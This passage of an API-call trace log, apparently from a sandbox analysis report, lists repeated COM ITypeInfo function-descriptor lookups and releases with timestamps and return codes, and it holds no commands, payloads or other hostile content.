ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x10, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x11, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x12, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x13, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x14, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x15, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x16, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.525] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x17, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.525] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x18, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x19, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x20, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x21, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x22, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x23, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x24, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x25, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x26, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x27, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x28, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x29, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.526] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.526] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x30, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x31, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x32, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x33, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x34, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x35, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x36, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x37, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x38, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x39, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x40, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x41, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x42, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x43, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x44, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x45, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x46, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x47, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.527] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.527] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x48, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x49, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x50, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x51, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x52, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x53, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x54, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x55, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x56, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x57, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x58, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x59, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.528] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.528] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x60, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x61, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x62, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x63, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x64, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x65, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x66, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x67, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x68, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x69, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) 